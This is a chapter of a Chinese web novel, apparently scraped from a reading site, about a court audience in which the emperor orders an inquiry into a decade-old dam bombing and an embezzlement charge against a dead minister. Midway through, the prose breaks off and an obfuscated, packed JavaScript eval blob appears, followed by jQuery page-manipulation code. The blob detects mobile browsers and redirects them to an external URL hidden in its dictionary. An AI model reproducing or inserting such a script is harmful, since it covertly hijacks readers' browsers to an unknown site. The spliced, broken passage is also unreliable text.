江诗婉眼眸半眯,她突然意识到眼前的他早已不是当年的他,如今当朝第一宰辅叶重是他的丈人爹,他虽然为了当初那点恩情而给自己点暗示警醒和少许的关心,但他们毕竟已经是一家人。
他一直劝说她放弃,难道不是为了他们整个叶家吗?
“谢少卿,您已经是大理寺的人,您说的这些,小女就当是您说的醉话。”
说完她用力甩开他的手,面色严峻地离开了。
谢司珩见她如此决绝,忍不住朝她大喊了一声,“本官是大理寺的人?笑话,谁当我是啦?”
他仰天苦笑。
江诗婉回到秘阁,她默不作声地坐在椅子上出神。
十年前,父亲不明不白而死,如今又扯出他当年贪污修筑堤坝公款一百五十万两,无论如何她是不会相信曾经爱戴的父亲会做出这样事的。谢司珩的话令她的酒醒了大半,他说的话虽然不中听,但句句属实。
她已经感受到来自外界的压力了,甚至她已经发现被人跟踪了。
“婉儿姐,您怎么又自己回来了?”王正把手里的卷宗小心翼翼放在了桌上,“幸好这几日天气晴朗,如果同前几日一般,这卷宗就不能要了。”
他拍了拍手,小心翼翼翻看着刚刚晒过的卷宗,并没有发现江诗婉的情绪不太对。
*
皇宫大殿内,今日的早朝比往日的气氛严肃了不少,站在朝堂之上的各位重臣低头安静等待着皇上发话。
站在队伍的最前边,大理寺卿司遥被陛下请了过来。
他见今日的气氛比往日更加安静,在场的文武百官,低头凝思大气都不敢出,内心有些奇怪。
沉默了半晌,高高在上的皇帝终于开了口。
“司卿,十年前堤坝被毁一案,调查有何进展,还请向大家做下汇报。”
跪在地上的司遥缓缓抬起了头,“回陛下,太湖下的长兴县梅林堤坝未被推毁,被炸毁的证据依旧完好无损地保留在原地。此案牵扯到长兴县县令谢瀚海,曾经的太湖知州田华清,他们二位在缉押间被杀害而亡。”
“被杀?被谁杀?”
皇帝刘炟听到这话,心里咯噔一下,他迫不及待问道,双手紧紧抓着龙椅。
“回陛下,是被刚刚上位的大理寺少卿谢司珩所杀。”
啊——
整个文华殿一片哗然,在场的朝廷重臣听到他的话,都陆续抬起了头,错愕地盯着正在陈述案情的司遥,站在队伍最后面几排的胆大者甚至踮起脚尖,向前面张望着。
“谢司珩?来者何人,好大的胆子。”皇帝刘炟面露愠怒之色,巡视着站在他下方的这些文武百官,试图找出此人的靠山。
此时站在队伍最前排的当今宰辅叶重摇摇晃晃站了出来,颤抖着就要给皇上行礼。
“皇,皇上,是,是卑职的,好女婿。”
“来人,给叶阁老赐座。”皇上见此,急忙示意站在他身旁的奴才。
弯着腰的奴才甩了一下手里的拂尘,便急忙示意外面当差的下人搬来椅子,而后命两人搬到了叶阁老的身后,又扶着他颤颤巍巍地坐了下去。
“谢,谢皇上。”
叶重年纪大了,视力一年不如一年,满头的白发依旧一丝不苟地梳在头顶,发际线几乎就要至头顶。他身着笨重的官服,坐定后耐心整理着身上褶皱的衣裳。
“阁老,您是说是你的女婿干的?”皇帝刘炟继续问道,脸上没有半点的表情,只是严峻地等待着他的回复。
叶重喘着粗气,缓慢抬起了头点了点,“回皇上,是那个龟女婿干的,卑职,”他突然疯狂咳嗽起来,“卑,卑职替他向您赔罪了。”
说完他便试图站起来,却因体力不支差点摔倒,幸好离他最近的兵部尚书司国安上前扶住了他。
此时整个大殿静悄悄的,甚至听不到这些人的喘息之声,也是,都到了这个地步,谁还胆敢站出来。
皇帝刘炟问到了这个程度,本想再继续下去,后又转念一想还是罢了,毕竟叶阁老的势力他还没有完全摸透,如果轻举妄动,打草惊蛇可就完蛋了。
“叶阁老,你的人,要看好,小心下人喧兵夺主,鸠占鹊巢。”
“回皇上,他还没那个胆子,他做了如此不走脑子的事,回去微臣一定惩罚教育他。”叶重双唇微微颤抖,下巴处花白的胡子也跟着上下起伏。
皇帝嘴角露出一抹不易察觉的笑,“叶阁老,您年龄大了,体力跟不上,不过大商不能没有你,可不要让无知的下属毁掉您的清誉。”
叶重听出了另外一层意思,他重重地点了下头。
“接下来,司遥还烦请继续汇报案件的进情。”
司遥回头看了一眼挪动笨拙身子回到队伍的叶阁老,嘴角微微上扬,露出一抹冷笑。“是,陛下。”
“梅林堤坝被炸毁,田华清、谢瀚海已经点头承认,”说到这里,司遥从胸口处摸出他们签字画押的证据,把它交予到公公的手中,又被转到当今圣上的面前。
皇帝刘炟小心翼翼打开这份来之不易的证据,忍不住点了点头。
“如今刑部又牵扯出朱煜被用重刑而死,刑部的人逼迫他承认十年前修筑堤坝的工部尚书江山贪墨修堤公款一百五十万两。”司遥把近期的一切情况,细细道来。
“曾经的工部尚书江山贪污公款?”皇帝刘炟没想到此案还有案中案,当年都怪自己为了稳固皇位,并没有抽出过多的时间关注此案。
十年前的工部尚书是谁,曾经可是扶持自己上位的一等功臣,他跟在前帝身边那么多年,如果不是父皇刘肇临死之前嘱咐他协助自己上位,他怎会有今天。自从得知江山没有善德善终后,他便下定决心要把案子查个水落石出。
“贪污公款一百五十万两?真是笑话,这栽赃也实在太假了吧。”
皇帝刘炟忍不住吐槽道。
“陛下,您不要忘了,当年江山的夫人重病在身,偌大个江府竟然拿不出银子来治病,为了拯救他所家之人的性命,贪墨也不是不可能。”
工部尚书刘承福此时从人群之中站了出来。
“大胆,你的意思是,江山江大人为了给夫人治病,而贪污了修筑堤坝的公款?”
皇帝刘炟瞪着他,阴沉着脸。
刘承福听后赶紧跪倒地地,“回皇上,也不是没有这个可能,此案还需进一步调查。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16086401|168818||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>他虽然惧怕皇帝,但更怕因此丢了乌纱帽。他好不容易一步步走到今天,位子还未坐稳,怎么能眼睁睁看着大理寺和刑部,皇城司一步步揭开当年事情的真相呢?
“刘尚书,您怎么知晓当年江山的夫人病重呢?”司遥接下他的话,步步紧逼,“难道您知晓些当年的内情?”
“因为江山的夫人叶婉儿是本官介绍给他的,”
刘承福还未开口,坐在椅子上的叶重便接下了话头。
司遥回头望了一眼叶首辅,又看了眼低着头的刘承福,原来事情要比他预想的复杂。
“对,回皇上,当年江山的夫人,叶婉儿确实在生下了他们的女儿后,便卧床不起。”重臣中户部尚书尹天睿站了出来,向陛下诉说着他所知晓的内情。
他与工部尚书江山交情甚好,对于他当年的遭遇,甚是同情。如今江山已经死去了十年有余,朝廷中依旧有人不肯放过他,作为他的同僚兼朋友,实在是看不过去。
“皇上,您看,微臣没有说谎吧。”刘承福赶紧撇清自己。
皇帝刘炟白了一眼他,深叹口气,“事情过去这么多年,怪朕当年对江尚书的家事了解少之又少。”
“皇上,卑职不是这个意思。”
“好了,好了,司遥听命。”他甩了一下袖子,皱了下眉头向他摆了摆手。
司遥急忙躬身行礼,一动不动倾听着当今圣上对他的嘱托。
“这件案子已经在大理寺秘阁深藏了这么多年,如今又重见天日,看老老天都看不下去了。”皇帝刘炟忍不住感慨,“司遥听命,朕命你联合皇城司,刑部共同联手彻查此案,十五日之内必要查清真相。”
“是。”
司遥面色凝重地磕头领旨。
整个大殿的文武百官听到皇帝的命令,鸦雀无声未有一人敢站出来阻止。空气像是凝固了一般,周围静得可怕。
“各位,还有什么事要走吗?”皇帝刘炟巡视着下边的朝廷重臣,提高嗓音问道。
文武百官个个低着头,他们深知,暴风雨要来临,要想做到片叶不沾身,只能缄默装傻。
皇帝刘炟见没人站出来,便示意伺候身边的奴才安排退朝。
“大理寺卿稍后见朕。”他缓缓站起身,在奴才的伺候下缓缓退出文华殿。
司遥缓缓站起身,便见父亲阴沉着脸盯着自己。
“江山的女儿还活着,叶阁老已经下了追杀令,你小心行事,不要把自己卷入此案当中。”
他缓缓抬起头,下意识点了下头。
“宫内已经传开了,到如今你与国安公主都没有夫妻之实。”
司遥皱下了眉,也并没有否认,只是像有心事一般地低着头。
“难道这不是谣言?如果真是这样,稍后你该如何回复陛下?”
“爹,”
“朝廷之上没有父子,只有君臣。”
“是,司大人。”司遥心一沉,他的父亲依旧如从前一般,与他界限分明。
“你好自为之。”兵部尚书司国安冷眼瞪了他一眼,便甩了下繁琐的官服,面色严峻地离开了。
他望着步步走下台阶的父亲,内心五味杂陈。